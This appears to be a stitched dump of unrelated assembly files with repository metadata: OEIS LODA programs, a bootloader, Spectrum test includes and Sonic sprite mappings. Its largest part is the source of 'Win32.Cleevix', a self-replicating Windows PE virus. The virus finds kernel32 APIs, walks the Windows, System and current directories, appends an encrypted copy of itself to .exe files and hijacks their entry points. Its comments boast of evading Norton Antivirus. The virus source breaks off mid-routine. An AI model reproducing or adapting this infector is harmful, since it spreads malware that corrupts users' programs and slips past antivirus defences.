; A022930: Number of 4^m between 3^n and 3^(n+1). ; 0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1 mov $5,$0 mov $7,2 lpb $7 mov $0,$5 sub $7,1 add $0,$7 mov $4,1 cal $0,56576 ; Highest k with 2^k <= 3^n. mov $2,$0 div $2,2 mov $3,$7 add $4,$2 sub $4,1 mov $6,$4 lpb $3 mov $1,$6 sub $3,1 lpe lpe lpb $5 sub $1,$6 mov $5,0 lpe
19.148148
199
0.497099
5275bac3d2cff5667e8f2ca26949f6595503abb3
2,247
asm
Assembly
bootloader/bootsect.asm
yeahnye/cos
1f66ec41e8eb32335d85d9212ab6fad89d355550
[ "BSD-2-Clause" ]
null
null
null
bootloader/bootsect.asm
yeahnye/cos
1f66ec41e8eb32335d85d9212ab6fad89d355550
[ "BSD-2-Clause" ]
null
null
null
bootloader/bootsect.asm
yeahnye/cos
1f66ec41e8eb32335d85d9212ab6fad89d355550
[ "BSD-2-Clause" ]
null
null
null
%include "meminfo.inc" %define newaddr(addr) (addr - BOOT_ORGI_ADDR + BOOT_NEWADDR) section bootsect align=16 vstart=BOOT_ORGI_ADDR jmp start hellomsg db 'Welcome to the COS World!', 0x0d, 0x0a, 0 movedmsg db 'bootsect is moved sucessfully!', 0x0d, 0x0a, 0 errmsg_lba db "The machine doesn't support disk lba mode!", 0x0d, 0x0a, 0 errmsg_load db 'An error occured while loading system!', 0x0d, 0x0a, 0 ;LBA mode Disk Address Packet Structure disk_address_packet: db 16 ; 1 byte, size of packet (16 bytes) db 0 ; 1 byte, always is 0 dw 1 ; 2 bytes, number of sectors to transfer (max 127 on some BIOSes) dw LOADER_ADDR, 0x0 ; 4 bytes, transfer buffer (16 bit segment:16 bit offset), buffer will store in 0x0:LOADER_ADDR dd 1 ; 4 bytes, lower 32-bits of 48-bit starting LBA dd 0 ; 4 bytes, upper 32-bits of 48-bit starting LBAs ;Print a message that si points and end when meets 0x0 printmsg: mov ah, 0x0e mov al, [si] cmp al ,0x0 jz _strend int 0x10 inc si jmp printmsg _strend: ret ;Disk LBA mode MUST BE supported, or boot die here checklba: mov ah, 0x41 mov bx, 0x55aa mov dl, 0x80 int 0x13 jnc _haslba mov si, errmsg_lba call printmsg jmp checklba _haslba: ret ;Print hello message sayhello: mov si, hellomsg call printmsg ret start: ;Setup some segments and a temporary stack xor ax, ax mov ds, ax mov es, ax mov ss, ax mov sp, TEMP_STACK call checklba call sayhello ;move boot sector from phyaddr 0x7c00 to BOOT_NEWADDR, then jump there xor ax, ax mov ds, ax mov es, ax mov si, BOOT_ORGI_ADDR mov di, BOOT_NEWADDR mov cx, BOOTSECT_SIZE>>1 rep movsw jmp 0x0 : newaddr(continue_in_new_address) ; segment:offset in segment continue_in_new_address: mov si, newaddr(movedmsg) call printmsg ;loading loader from disk using lba mode mov si, disk_address_packet mov ah, 0x42 mov dl, 0x80 int 0x13 jc load_error jmp 0x0 : LOADER_ADDR jmp $ load_error: mov si, newaddr(load_error) call printmsg jmp $ times 510-($-$$) db 0x0 db 0x55, 0xaa
23.40625
125
0.658656
744fb7c128cc7e7e3b055e37a763dffebc376397
645
asm
Assembly
programs/oeis/317/A317849.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/317/A317849.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/317/A317849.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A317849: Number of states of the Finite State Automaton Gn accepting the language of maximal (or minimal) lexicographic representatives of elements in the positive braid monoid An. ; 1,5,18,56,161,443,1190,3156,8315,21835,57246,149970,392743,1028351,2692416,7049018,18454775,48315461,126491780,331160070,866988641,2269806085,5942429868,15557483796,40730021821,106632581993,279167724510,730870591916,1913444051645,5009461563455 add $0,4 mov $1,4 mov $2,$0 sub $0,4 mov $3,2 lpb $0,1 add $2,$0 sub $0,1 add $0,$2 sub $0,$2 add $3,$1 add $1,$3 lpe add $1,3 add $2,1 mov $3,$0 add $3,2 add $1,$3 sub $1,$2 sub $1,3 add $1,$3 sub $1,2
24.807692
245
0.731783
50236f8c4b11c3f3ed32399c09eaef70c88f0c16
181
asm
Assembly
currah_uspeech_tests.asm
maziac/currah_uspeech_tests
6898dff80f6edf168b2aa1d2eec17cfd281b6f1f
[ "MIT" ]
3
2019-04-01T19:23:51.000Z
2021-01-30T14:48:21.000Z
currah_uspeech_tests.asm
maziac/currah_uspeech_tests
6898dff80f6edf168b2aa1d2eec17cfd281b6f1f
[ "MIT" ]
null
null
null
currah_uspeech_tests.asm
maziac/currah_uspeech_tests
6898dff80f6edf168b2aa1d2eec17cfd281b6f1f
[ "MIT" ]
null
null
null
; currah_uspeech_test.asm ; Includes all other files. include "constants.inc" include "ui.asm" include "tests1.asm" include "tests2.asm" include "tests3.asm" include "common.asm"
16.454545
27
0.762431
44a927cd6b9b88d6c5020b6e3134fb832999e412
9,036
asm
Assembly
Working Disassembly/General/Sprites/Results/Map - Results.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
5
2021-07-09T08:17:56.000Z
2022-02-27T19:57:47.000Z
Working Disassembly/General/Sprites/Results/Map - Results.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
Working Disassembly/General/Sprites/Results/Map - Results.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
Map_2F26A: dc.w word_2F2E0-Map_2F26A dc.w word_2F2E2-Map_2F26A dc.w word_2F2EA-Map_2F26A dc.w word_2F2F2-Map_2F26A dc.w word_2F2FA-Map_2F26A dc.w word_2F302-Map_2F26A dc.w word_2F30A-Map_2F26A dc.w word_2F312-Map_2F26A dc.w word_2F31A-Map_2F26A dc.w word_2F322-Map_2F26A dc.w word_2F32A-Map_2F26A dc.w word_2F332-Map_2F26A dc.w word_2F346-Map_2F26A dc.w word_2F35A-Map_2F26A dc.w word_2F362-Map_2F26A dc.w word_2F36A-Map_2F26A dc.w word_2F378-Map_2F26A dc.w word_2F39E-Map_2F26A dc.w word_2F3B2-Map_2F26A dc.w word_2F3C6-Map_2F26A dc.w word_2F3DA-Map_2F26A dc.w word_2F3EE-Map_2F26A dc.w word_2F3FC-Map_2F26A dc.w word_2F416-Map_2F26A dc.w word_2F436-Map_2F26A dc.w word_2F450-Map_2F26A dc.w word_2F464-Map_2F26A dc.w word_2F478-Map_2F26A dc.w word_2F480-Map_2F26A dc.w word_2F488-Map_2F26A dc.w word_2F490-Map_2F26A dc.w word_2F498-Map_2F26A dc.w word_2F4A0-Map_2F26A dc.w word_2F4A8-Map_2F26A dc.w word_2F4B0-Map_2F26A dc.w word_2F4FA-Map_2F26A dc.w word_2F514-Map_2F26A dc.w word_2F55E-Map_2F26A dc.w word_2F56C-Map_2F26A dc.w word_2F574-Map_2F26A dc.w word_2F59C-Map_2F26A dc.w word_2F5AA-Map_2F26A dc.w word_2F5B2-Map_2F26A dc.w word_2F5BA-Map_2F26A dc.w word_2F6E4-Map_2F26A dc.w word_2F6F8-Map_2F26A dc.w word_2F5C2-Map_2F26A dc.w word_2F5EE-Map_2F26A dc.w word_2F638-Map_2F26A dc.w word_2F682-Map_2F26A dc.w word_2F6A2-Map_2F26A dc.w word_2F6BC-Map_2F26A dc.w word_2F6D0-Map_2F26A dc.w word_2F70C-Map_2F26A dc.w word_2F71A-Map_2F26A dc.w word_2F73A-Map_2F26A dc.w word_2F754-Map_2F26A dc.w word_2F768-Map_2F26A dc.w word_2F588-Map_2F26A word_2F2E0: dc.w 0 word_2F2E2: dc.w 1 dc.b 0, 1, $A5, $20, 0, 0 word_2F2EA: dc.w 1 dc.b 0, 1, $A5, $22, 0, 0 word_2F2F2: dc.w 1 dc.b 0, 1, $A5, $24, 0, 0 word_2F2FA: dc.w 1 dc.b 0, 1, $A5, $26, 0, 0 word_2F302: dc.w 1 dc.b 0, 1, $A5, $28 word_2F308: dc.w 0 word_2F30A: dc.w 1 dc.b 0, 1, $A5, $2A, 0, 0 word_2F312: dc.w 1 dc.b 0, 1, $A5, $2C, 0, 0 word_2F31A: dc.w 1 dc.b 0, 1, $A5, $2E, 0, 0 word_2F322: dc.w 1 dc.b 0, 1, $A5, $30, 0, 0 word_2F32A: dc.w 1 dc.b 0, 1, $A5, $32, 0, 0 word_2F332: dc.w 3 dc.b 0, 1, $A5, $44, 0, 0 dc.b 0, $D, $A5, $42, 0, 8 dc.b $F6, 6, $85, $34, 0, $24 word_2F346: dc.w 3 dc.b 0, $D, $A5, $3A, 0, 0 dc.b 0, 1, $A6, $CA, 0, $20 dc.b $F6, 6, $85, $34, 0, $24 word_2F35A: dc.w 1 dc.b 0, $D, $A6, $D2, 0, 0 word_2F362: dc.w 1 dc.b 0, $D, $A6, $DA, 0, 0 word_2F36A: dc.w 2 dc.b $10, 9, $85, $4A, 0, 0 dc.b 0, $F, $85, $68, 0, $11 word_2F378: dc.w 6 dc.b 0, 5, $85, $60, 0, 0 dc.b 0, 5, $85, $54, 0, $10 dc.b 0, 5, $85, $5C, 0, $20 dc.b 0, 5, $85, $58, 0, $30 dc.b 0, 5, $85, $64, 0, $40 dc.b 0, $D, $85, $50, 0, $50 word_2F39E: dc.w 3 dc.b 0, 5, $85, $50, 0, 0 dc.b 0, 5, $85, $58, 0, $10 dc.b 0, 5, $85, $60, 0, $1E word_2F3B2: dc.w 3 dc.b 0, $D, $85, $F, 0, 0 dc.b 0, $D, $85, $17, 0, $20 dc.b 0, 5, $85, $1F, 0, $40 word_2F3C6: dc.w 3 dc.b 0, $D, $85, $78, 0, 1 dc.b 0, $D, $85, $80, 0, $21 dc.b 0, 1, $85, $88, 0, $41 word_2F3DA: dc.w 3 dc.b 0, $D, $85, $78, 0, 6 dc.b 0, $D, $85, $80, 0, $26 dc.b 0, 1, $85, $88, 0, $46 word_2F3EE: dc.w 2 dc.b 0, $D, $85, $78, 0, 1 dc.b 0, $D, $85, $80, 0, $21 word_2F3FC: dc.w 4 dc.b 0, $D, $85, $78, 0, 4 dc.b 0, $D, $85, $80, 0, $24 dc.b 0, $D, $85, $88, 0, $44 dc.b 0, 9, $85, $90, 0, $64 word_2F416: dc.w 5 dc.b 0, $D, $E6, $CA, $FF, $A0 dc.b 0, 1, $E6, $E2, $FF, $C0 dc.b 0, 9, $A6, $E4, 0, $28 dc.b 0, $D, $A6, $EA, 0, $40 dc.b $F6, 6, $85, $CC, $FF, $C4 word_2F436: dc.w 4 dc.b 0, $D, $E6, $D2, 0, 0 dc.b 0, $D, $E5, $D2, 0, $28 dc.b 0, 1, $E6, $CA, 0, $48 dc.b $F6, 6, $85, $CC, 0, $4C word_2F450: dc.w 3 dc.b 0, $D, $E5, $7F, 0, 0 dc.b 0, 9, $E5, $87, 0, $20 dc.b $F6, 6, $85, $CC, 0, $34 word_2F464: dc.w 3 dc.b 0, $D, $E5, $8D, 0, 0 dc.b 0, $D, $E5, $95, 0, $20 dc.b $F6, 6, $85, $CC, 0, $3C word_2F478: dc.w 1 dc.b $F8, 5, $C5, $6F, $FF, $F8 word_2F480: dc.w 1 dc.b $F8, 5, $C5, $6B, $FF, $F8 word_2F488: dc.w 1 dc.b $F8, 5, $C5, $73, $FF, $F8 word_2F490: dc.w 1 dc.b $F8, 5, $A5, $6B, $FF, $F8 word_2F498: dc.w 1 dc.b $F8, 5, $85, $7B, $FF, $F8 word_2F4A0: dc.w 1 dc.b $F8, 5, $85, $77, $FF, $F8 word_2F4A8: dc.w 1 dc.b $F8, 5, $A5, $6F, $FF, $F8 word_2F4B0: dc.w $C dc.b 0, 5, $85, $59, $FF, $A0 dc.b 0, 5, $85, $51, $FF, $B0 dc.b 0, 5, $85, $33, $FF, $C0 dc.b 0, 5, $85, $2B, $FF, $D0 dc.b 0, 1, $85, $3F, $FF, $E0 dc.b 0, 5, $85, $23, $FF, $E8 dc.b 0, 5, $85, $41, $FF, $F8 dc.b 0, 5, $85, $59, 0, $10 dc.b 0, 5, $85, $5D, 0, $20 dc.b 0, 5, $85, $23, 0, $30 dc.b 0, 5, $85, $37, 0, $40 dc.b 0, 5, $85, $33, 0, $50 word_2F4FA: dc.w 4 dc.b 0, 5, $85, $37, 0, 0 dc.b 0, 5, $85, $4D, 0, $11 word_2F508: dc.w 5 dc.b $85, $5D, 0, $20, 0, 5 dc.b $85, $23, 0, $38 word_2F514: dc.w $C dc.b 0, 5, $85, $2B, $FF, $9C dc.b 0, 5, $85, $3B, $FF, $AC dc.b 0, 5, $85, $23, $FF, $BC dc.b 0, 5, $85, $4D, $FF, $CC dc.b 0, 5, $85, $59, $FF, $DC dc.b 0, 5, $85, $33, $FF, $F4 dc.b 0, 5, $85, $45, 0, 4 dc.b 0, 5, $85, $33, 0, $14 dc.b 0, 5, $85, $55, 0, $24 dc.b 0, 5, $85, $23, 0, $34 dc.b 0, 5, $85, $41, 0, $44 dc.b 0, 5, $85, $2F, 0, $54 word_2F55E: dc.w 2 dc.b 0, 5, $85, $41, 0, $48 dc.b 0, 5, $85, $41, 0, $56 word_2F56C: dc.w 1 dc.b 0, 5, $85, $59, 0, $64 word_2F574: dc.w 3 dc.b 0, 5, $E5, $49, 0, 0 dc.b 0, 5, $E5, $4D, 0, $11 dc.b 0, 9, $E5, $65, 0, $20 word_2F588: dc.w 3 dc.b 0, 5, $E5, $2B, 0, 0 dc.b 0, 5, $E5, $23, 0, $10 dc.b 0, 5, $E5, $49, 0, $20 word_2F59C: dc.w 2 dc.b 0, 5, $E5, $27, 0, 0 dc.b 0, 5, $E5, $33, 0, $F word_2F5AA: dc.w 1 dc.b $E8, $A, $85, $9D, $FF, $F4 word_2F5B2: dc.w 1 dc.b $E8, $A, $85, $A6, $FF, $F4 word_2F5BA: dc.w 1 dc.b $E8, $A, $85, $AF, $FF, $F4 word_2F5C2: dc.w 7 dc.b 0, 5, $E5, $2B, $FF, $C0 dc.b 0, 5, $E5, $23, $FF, $D0 dc.b 0, 5, $E5, $49, $FF, $E0 dc.b 0, 5, $E5, $37, $FF, $F8 dc.b 0, 5, $E5, $4D, 0, 9 dc.b 0, 5, $E5, $5D, 0, $20 dc.b 0, 5, $E5, $4D, 0, $30 word_2F5EE: dc.w $C dc.b 0, 5, $E5, $3B, $FF, $A0 dc.b 0, 1, $E5, $3F, $FF, $B0 dc.b 0, 5, $E5, $2F, $FF, $B9 dc.b 0, 5, $E5, $2F, $FF, $CA dc.b 0, 5, $E5, $33, $FF, $DA dc.b 0, 5, $E5, $49, $FF, $E9 dc.b 0, 5, $E5, $51, 0, 1 dc.b 0, 5, $E5, $23, 0, $10 dc.b 0, 5, $E5, $41, 0, $20 dc.b 0, 5, $E5, $23, 0, $30 dc.b 0, 5, $E5, $2B, 0, $40 dc.b 0, 5, $E5, $33, 0, $50 word_2F638: dc.w $C dc.b 0, 5, $85, $59, $FF, $9C dc.b 0, 5, $85, $61, $FF, $AC dc.b 0, 5, $85, $51, $FF, $BC dc.b 0, 5, $85, $33, $FF, $CC dc.b 0, 5, $85, $55, $FF, $DC dc.b 0, 5, $85, $33, $FF, $F4 dc.b 0, 5, $85, $45, 0, 4 dc.b 0, 5, $85, $33, 0, $14 dc.b 0, 5, $85, $55, 0, $24 dc.b 0, 5, $85, $23, 0, $34 dc.b 0, 5, $85, $41, 0, $44 dc.b 0, 5, $85, $2F, 0, $54 word_2F682: dc.w 5 dc.b 0, $D, $A6, $CA, $FF, $A0 dc.b 0, 1, $A6, $E2, $FF, $C0 dc.b 0, 9, $A6, $E4, 0, $28 dc.b 0, $D, $A6, $EA, 0, $40 dc.b $F6, 6, $85, $CC, $FF, $C4 word_2F6A2: dc.w 4 dc.b 0, $D, $A6, $D2, 0, 0 dc.b 0, $D, $A5, $D2, 0, $28 dc.b 0, 1, $26, $CA, 0, $48 dc.b $F6, 6, $85, $CC, 0, $4C word_2F6BC: dc.w 3 dc.b 0, $D, $A5, $7F, 0, 0 dc.b 0, 9, $A5, $87, 0, $20 dc.b $F6, 6, $85, $CC, 0, $34 word_2F6D0: dc.w 3 dc.b 0, $D, $A5, $8D, 0, 0 dc.b 0, $D, $A5, $95, 0, $20 dc.b $F6, 6, $85, $CC, 0, $3C word_2F6E4: dc.w 3 dc.b 0, 5, $85, $49, 0, 0 dc.b 0, 5, $85, $4D, 0, $11 dc.b 0, 9, $85, $65, 0, $20 word_2F6F8: dc.w 3 dc.b 0, 5, $85, $2B, 0, 0 dc.b 0, 5, $85, $23, 0, $10 dc.b 0, 5, $85, $49, 0, $20 word_2F70C: dc.w 2 dc.b 0, 5, $85, $27, 0, 0 dc.b 0, 5, $85, $33, 0, $F word_2F71A: dc.w 5 dc.b 0, $D, $86, $CA, $FF, $A0 dc.b 0, 1, $86, $E2, $FF, $C0 dc.b 0, 9, $86, $E4, 0, $28 dc.b 0, $D, $86, $EA, 0, $40 dc.b $F6, 6, $85, $CC, $FF, $C4 word_2F73A: dc.w 4 dc.b 0, $D, $86, $D2, 0, 0 dc.b 0, $D, $85, $D2, 0, $28 dc.b 0, 1, 6, $CA, 0, $48 dc.b $F6, 6, $85, $CC, 0, $4C word_2F754: dc.w 3 dc.b 0, $D, $85, $7F, 0, 0 dc.b 0, 9, $85, $87, 0, $20 dc.b $F6, 6, $85, $CC, 0, $34 word_2F768: dc.w 3 dc.b 0, $D, $85, $8D, 0, 0 dc.b 0, $D, $85, $95, 0, $20 dc.b $F6, 6, $85, $CC, 0, $3C
30.322148
37
0.476649
2770543b06f6b1709d8fa1ec3e5ea09952f5eba1
20,168
asm
Assembly
Win32/Win32.Cleevix/Win32.Cleevix.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
Win32/Win32.Cleevix/Win32.Cleevix.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
Win32/Win32.Cleevix/Win32.Cleevix.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
;------------------------------------------------------------------------------- ;Win32.Cleevix (c)opyright 2005 by lclee_vx ; ;Win32.Cleevix is a PE infector on Windows 9x/2K/XP with simple encryption, anyhow, ;its not detect by Norton Antivirus. :)!! ; ; ; ;Description ;----------- ;When a file infected by Win32.Cleevix is executed, the virus start the process ;as below: ; ;1) Retrieve the base address of Kernel32.dll ;2) Scans the Export Table of Kernel32.dll for the API Functions ;3) Retrieve API functions by scanning others *.dll file. For example, retrieve ; MessageBox function from User32.dll file. ;4) Scan the Current, Windows and System directory, infect all the *exe files. ; Infected files will grow by about 2.99 Kilobyte ;5) The virus do not try to harm/damage the system, its just patch itself to the ; PE files. Anyhow, it might bring down the system as the scanning process running. ;6) The virus apply the simple encryption, its not detected by Norton Antivirus (tested) ; ; ;That is about all folks. The code is heavily commented, so, it should be easy ;enough to follow. ; ; Disclaimer ; ---------- ;THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD ;RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE THE ;SAME ; ; ;Author : lclee_vx ;Group : F-13 Labs ;Web : http://f13.host.sk ;Email : lclee_vx@yahoo.com ;---------------------------------------------------------------------------------- .386p .model flat, stdcall option casemap:none jumps .data ;------------------------------------------------------------------------------ ;Start The Code ;------------------------------------------------------------------------------ .code VirusStart: call delta delta: pop ebp mov eax, ebp sub ebp, offset delta sub eax, RedundantSize sub eax, 1000h NewEip equ $-4 mov dword ptr [ebp+AppBase], eax mov esi, [esp] and esi, 0FFFF0000h pushad call Crypt popad CryptStart: call GetK32 mov dword ptr [ebp+offset aKernel32], eax ;save kernel32.dll ;------------------------------------------------------------------------------- ;here we looking for APIs function ;------------------------------------------------------------------------------- lea edi, [ebp+offset @@Offsetz] lea esi, [ebp+offset @@Namez] call GetApis call SpecialApi call DirScan CryptEnd: cmp ebp, 0 je FirstGeneration ReturnHost: mov eax, 12345678h org $-4 OldEip dd 00001000h mov eax, dword ptr [ebp+offset OldEip] jmp eax ret ;------------------------------------------------------------------------------- ;1) Changing to Windows directory, System directory and current directory ;2) remember size buffer have to set > Max_Path (260) ;------------------------------------------------------------------------------- DirScan: push 128h ;have to set Buffer size > 260 lea eax, [ebp+offset WindowsDir] ;retrieve the path of Windows ;Directory push eax mov eax, dword ptr [ebp+offset aGetWindowsDirectoryA] call eax push 128h ;buffer size > 260 lea eax, [ebp+offset SystemDir] ;retrieve the path of System push eax ;directory mov eax, [ebp+offset aGetSystemDirectoryA] call eax lea eax, [ebp+offset CurrentDir] ;retrieve the path of Current push eax ;directory push 128h ;buffer size > 260 mov eax, [ebp+offset aGetCurrentDirectoryA] call eax lea eax, [ebp+offset WindowsDir] push eax mov eax, [ebp+offset aSetCurrentDirectoryA] call eax mov dword ptr [ebp+offset Counter], 3 call SearchFiles ;start searching the target files lea eax, [ebp+offset SystemDir] push eax mov eax, [ebp+offset aSetCurrentDirectoryA] call eax mov dword ptr [ebp+offset Counter], 3 call SearchFiles lea eax, [ebp+offset CurrentDir] push eax mov eax, [ebp+offset aSetCurrentDirectoryA] call eax mov dword ptr [ebp+offset Counter], 3 call SearchFiles ret ;------------------------------------------------------------------------------- ;1) Search the target files (*.exe) ;2) Trying Infect 3 files ;------------------------------------------------------------------------------- SearchFiles: push ebp ;save ebp lea eax, dword ptr [ebp+offset Win32FindData] ;load the Win32_Find_Data structure push eax lea eax, [ebp+offset Mark] ;search *.exe push eax mov eax, [ebp+offset aFindFirstFileA] ;start searching call eax pop ebp inc eax ;check with eax=FFFFFFFF+1 jz SearchClose ;fail :( dec eax ;get the original FileHandle mov dword ptr [ebp+offset SearchHandle], eax ;save FileHandle mov esi, offset Win32FindData.FileName ;esi=pointer to FileName add esi, ebp mov dword ptr [ebp+offset FilePointer], esi ;save the Pointer to FileName cmp [Win32FindData.FileSizeHigh+ebp], 0 ;high 32 bits of FileSize jne SearchNext ;way too big for us mov ecx, [Win32FindData.FileSizeLow+ebp] ;ecx=File Size mov dword ptr [ebp+offset NewFileSize], ecx ;NewFileSize will change in InfectFiles mov dword ptr [ebp+offset OriFileSize], ecx ;routine push dword ptr [ebp+offset OldEip] call InfectFiles pop dword ptr [ebp+offset OldEip] dec dword ptr [ebp+offset Counter] ;Counter - 1 cmp dword ptr [ebp+offset Counter], 0 je SearchHandleClose SearchNext: push ebp mov eax, dword ptr [ebp+offset Win32FindData] push eax mov eax, dword ptr [ebp+offset SearchHandle] ;eax=Search Handle push eax mov eax, [ebp+offset aFindNextFileA] call eax pop ebp cmp eax, 0 ;error? je SearchHandleClose ;done mov esi, offset Win32FindData.FileName add esi, ebp mov dword ptr [ebp+offset FilePointer], esi ;esi=File Pointer cmp [Win32FindData.FileSizeHigh+ebp], 0 jne SearchNext mov ecx, [Win32FindData.FileSizeLow+ebp] ;ecx=File Size mov dword ptr [ebp+offset NewFileSize], ecx ;save it mov dword ptr [ebp+offset OriFileSize], ecx push dword ptr [ebp+offset OldEip] call InfectFiles pop dword ptr [ebp+offset OldEip] dec dword ptr [ebp+offset Counter] ;Counter - 1 cmp dword ptr [ebp+offset Counter], 0 jne SearchNext SearchHandleClose: push dword ptr [ebp+offset SearchHandle] mov eax, [ebp+offset aFindClose] call eax cmp eax, 0 je SearchClose SearchClose: ret ;---------------------------------------------------------------------------------- ;Here start to set the file attributes, mapping files and infect the files ;(1) save the original FileSize, FileAttribute ;(2) Open the file with API CreateFileA. if error, ;---------------------------------------------------------------------------------- InfectFiles: pushad ;save all the register before ;start infect mov dword ptr [ebp+offset InfectFlag], 0 mov ecx, dword ptr [ebp+offset NewFileSize] cmp ecx, MinimumFileSize ;minimum FileSize=400h jb JumpOut add ecx, total_size mov dword ptr [ebp+offset NewFileSize], ecx push ebp push dword ptr [ebp+offset FilePointer] mov eax, [ebp+offset aGetFileAttributesA] call eax pop ebp mov dword ptr [ebp+offset FileAttribute], eax ;save the original file attribute push ebp push 00000080h ;set file attribute = any push dword ptr [ebp+offset FilePointer] mov eax, [ebp+offset aSetFileAttributesA] call eax pop ebp cmp eax, 0 ;error? jz ErrorOpenExe push ebp push 0h push 00000080h push 00000003h push 0h push 00000001h push 80000000h or 40000000h push dword ptr [ebp+offset FilePointer] mov eax, [ebp+offset aCreateFileA] call eax pop ebp inc eax ;if error, eax=0FFFFFFFFh. eax = eax+1 cmp eax, 0 ;error? jz ErrorOpenExe dec eax mov dword ptr [ebp+offset FileHandle], eax ;save the FileHandle push ebp push dword ptr [ebp+offset NewFileSize] push 0h mov eax, [ebp+offset aGlobalAlloc] call eax pop ebp cmp eax, 0h jz ErrorBuffer ;error? mov dword ptr [ebp+offset MemoryHandle], eax ;save push ebp lea eax, [ebp+offset ByteRead] push 0h push eax push dword ptr [ebp+offset OriFileSize] push dword ptr [ebp+offset MemoryHandle] push dword ptr [ebp+offset FileHandle] mov eax, [ebp+offset aReadFile] call eax pop ebp cmp eax, 0h ;error? jz ErrorReadExe push ebp push 0h push 0h push 0h push dword ptr [ebp+offset FileHandle] mov eax, [ebp+offset aSetFilePointer] call eax pop ebp inc eax ;if fail, eax=0FFFFFFFFh. eax = eax+1 cmp eax, 0h jz ErrorReadExe mov ebx, dword ptr [ebp+offset MemoryHandle] mov esi, dword ptr [ebp+offset MemoryHandle] cmp word ptr [esi], "ZM" jnz ErrorReadExe xor eax, eax ;eax = 0 mov eax, dword ptr [esi+3ch] ;eax = offset PE Header add esi, eax ;esi = point to PE Header cmp dword ptr [esi], "EP" ;PE file ? jz StartInfect mov dword ptr [ebp+offset InfectFlag], 0FFh jmp ErrorReadExe StartInfect: mov dword ptr [ebp+offset PEHeader], esi cmp dword ptr [esi+4ch], "31" ;infected? jz InfectError mov dword ptr [esi+4ch], "31" ;put the infected symbol mov ebx, [esi+74h] ;ebx=NumberOfRvaAndSizes shl ebx, 3 ;ebx=ebx*8 xor eax, eax ;eax=0 mov ax, word ptr [esi+06h] ;ax = Number of Sections dec eax ;eax=eax-1 mov ecx, 28h mul ecx ;eax=eax*ecx add eax, ebx add esi, 78h add esi, eax ;now esi point to Last Section mov edi, dword ptr [ebp+offset PEHeader] ;edi=PE Header mov eax, [esi+0ch] ;eax= VirtualAddress add eax, dword ptr [esi+10h] ;eax = VirtualAddress+SizeOfRawData mov dword ptr [ebp+offset NewEip], eax xchg eax, [edi+28h] ;eax = Original AddressOfEntryPoint add eax, [edi+34h] ;eax= Original AddressOfEntryPoint+ImageBase mov dword ptr [ebp+offset OldEip], eax ;save as OldEip mov ecx, total_size add [esi+08h], ecx ;New VirtualSize= Original VirtualSize+VirusSize mov eax, [esi+08h] ;eax = New VirtualSize add eax, [esi+0ch] ;eax = New VirtualSize+VirtualAddress mov [edi+50h], eax ;eax=SizeOfImage mov eax, [esi+10h] ;eax=SizeOfRawData add [esi+10h], ecx ;New SizeOfRawData= Old SizeOfRawData+VirusSize or dword ptr [esi+24h], 0A0000020h mov edi, [esi+14h] mov ebx, dword ptr [ebp+offset MemoryHandle] add edi, ebx add edi, eax mov esi, offset VirusStart add esi, ebp pushad mov byte ptr [ebp+offset CryptKey], 0ffh call Crypt popad rep movsb call Crypt lea eax, [ebp+offset ByteRead] push ebp push 0h push eax push dword ptr [ebp+offset NewFileSize] push dword ptr [ebp+offset MemoryHandle] push dword ptr [ebp+offset FileHandle] mov eax, [ebp+offset aWriteFile] call eax pop ebp InfectError: ErrorReadExe: push ebp push dword ptr [ebp+offset MemoryHandle] mov eax, [ebp+offset aGlobalFree] call eax pop ebp ErrorBuffer: push ebp push dword ptr [ebp+offset FileHandle] mov eax, [ebp+offset aCloseHandle] call eax pop ebp ErrorOpenExe: push ebp push dword ptr [ebp+offset FileAttribute] push dword ptr [ebp+offset FilePointer] mov eax, [ebp+offset aSetFileAttributesA] call eax pop ebp jmp InfectCheck InfectFail: stc jmp JumpOut InfectCheck: cmp dword ptr [ebp+offset InfectFlag], 0FFh jz InfectFail clc JumpOut: popad ret ;---------------------------------------------------------------------------------- ;Searching Kernel32.dll address ;---------------------------------------------------------------------------------- GetK32 PROC ScanK32: cmp word ptr [esi], "ZM" je K32Found sub esi, 1000h jmp ScanK32 K32Found: mov eax, esi ret GetK32 endp ;------------------------------------------------------------------------------------ ;Searching The APIs function ;edi=API offset ;esi=API name ;------------------------------------------------------------------------------------ GetApis PROC @@1: mov eax, dword ptr [ebp+aKernel32] push esi push edi call GetApi pop edi pop esi mov [edi], eax ;store API address in eax ----> edi add edi, 4 @@3: inc esi cmp byte ptr [esi], 0 jne @@3 inc esi cmp byte ptr [esi], 0FFh ;ended? jnz @@1 ret GetApis endp GetApi PROC mov ebx, [eax+3ch] ;ebx=offset PE header add ebx, eax ;ebx=point to PE header mov ebx, [ebx+78h] ;ebx=point to ExportDirectory Virtual Address add ebx, eax ;normalize, ebx=point to ExportDirectory xor edx, edx ;edx=0 mov ecx, [ebx+20h] ;ecx=point to AddressOfNames add ecx, eax ;normalize push esi 